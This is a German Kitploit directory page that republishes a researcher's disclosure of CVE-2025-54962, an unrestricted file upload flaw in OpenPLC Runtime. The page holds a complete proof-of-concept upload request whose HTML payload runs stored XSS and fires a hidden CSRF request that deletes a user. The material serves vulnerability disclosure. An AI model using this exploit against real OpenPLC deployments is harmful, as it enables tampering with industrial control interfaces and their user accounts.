Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-54962 — Authentifizierte Benutzer können beliebige Dateien (z. B. .html, .svg) als Profilbilder in OpenPLC Runtime hochladen. Diese Dateien sind ohne Authentifizierung öffentlich zugänglich, was gespeichertes XSS oder die Bereitstellung bösartiger Inhalte ermöglicht. | Kitploit
Tools/GitHubGitHub/eyodav/cve-2025-54962
SchwachstellenanalyseExploitationSCADA/ICS-SicherheitWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubeyodav/cve-2025-54962

CVE-2025-54962

Authentifizierte Benutzer können beliebige Dateien (z. B. .html, .svg) als Profilbilder in OpenPLC Runtime hochladen. Diese Dateien sind ohne Authentifizierung öffentlich zugänglich, was gespeichertes XSS oder die Bereitstellung bösartiger Inhalte ermöglicht.

Repository anzeigen
7vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔥 CVE-2025-54962 — Unsicherer Datei-Upload im OpenPLC Runtime Webserver

(OpenPLC Runtime ≤ 2024-12-31 — Stored XSS, CSRF)

📌 Zusammenfassung

Ich habe eine Schwachstelle im OpenPLC Runtime Webserver (Release-Version: 2024-12-31) entdeckt, die es authentifizierten Benutzern ermöglicht, beliebige Dateien (z. B. .html, .svg) als Profilbilder hochzuladen. Diese Dateien werden im Verzeichnis /static/ gespeichert und sind ohne Authentifizierung zugänglich, was Stored XSS oder bösartige Hosting-Szenarien ermöglicht.


🧪 Betroffene Komponente

  • Route: /edit-user
  • Betroffen: Datei-Upload-Funktion für Profilbilder

⚠️ Auswirkungen

  • Beliebiger Datei-Upload mit unzureichender MIME- und Erweiterungsprüfung
  • Stored XSS
  • Hosting bösartiger Inhalte
  • Unauthentifizierter Zugriff auf hochgeladene Dateien
  • CSRF

🎯 Angriffsvektor

  1. Ein authentifizierter Benutzer lädt eine .html- oder .svg-Datei als Profilbild hoch.
  2. Die Datei wird in /static/ gespeichert und erhält eine vorhersagbare ID (z. B. http://localhost:8080/static/336029.html).
  3. Jeder Benutzer (auch ohne Authentifizierung) kann direkt auf die hochgeladene Datei zugreifen.
  4. Wenn die Datei JavaScript oder anderen bösartigen Code enthält, wird dieser im Browser des Opfers ausgeführt.

📸 Visueller Proof of Concept

Dashboard bei laufender SPS

dashboard.png

Hochladen einer bösartigen .html-Datei

choose file.png

Verwenden von „All Files“, um den Bildfilter zu umgehen

file.png

Hochgeladene Datei wird aus /static/ ausgeführt

poc.png


🎞️ Video-PoCs

  • Einfache PoC-Demo
    poc de base.mp4

  • Demonstration des unauthentifizierten Zugriffs
    unauthenticated.mp4

  • CSRF-PoC
    poc csrf.mp4


📤 Beispiel einer Exploit-Anfrage mit Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
Tool herunterladen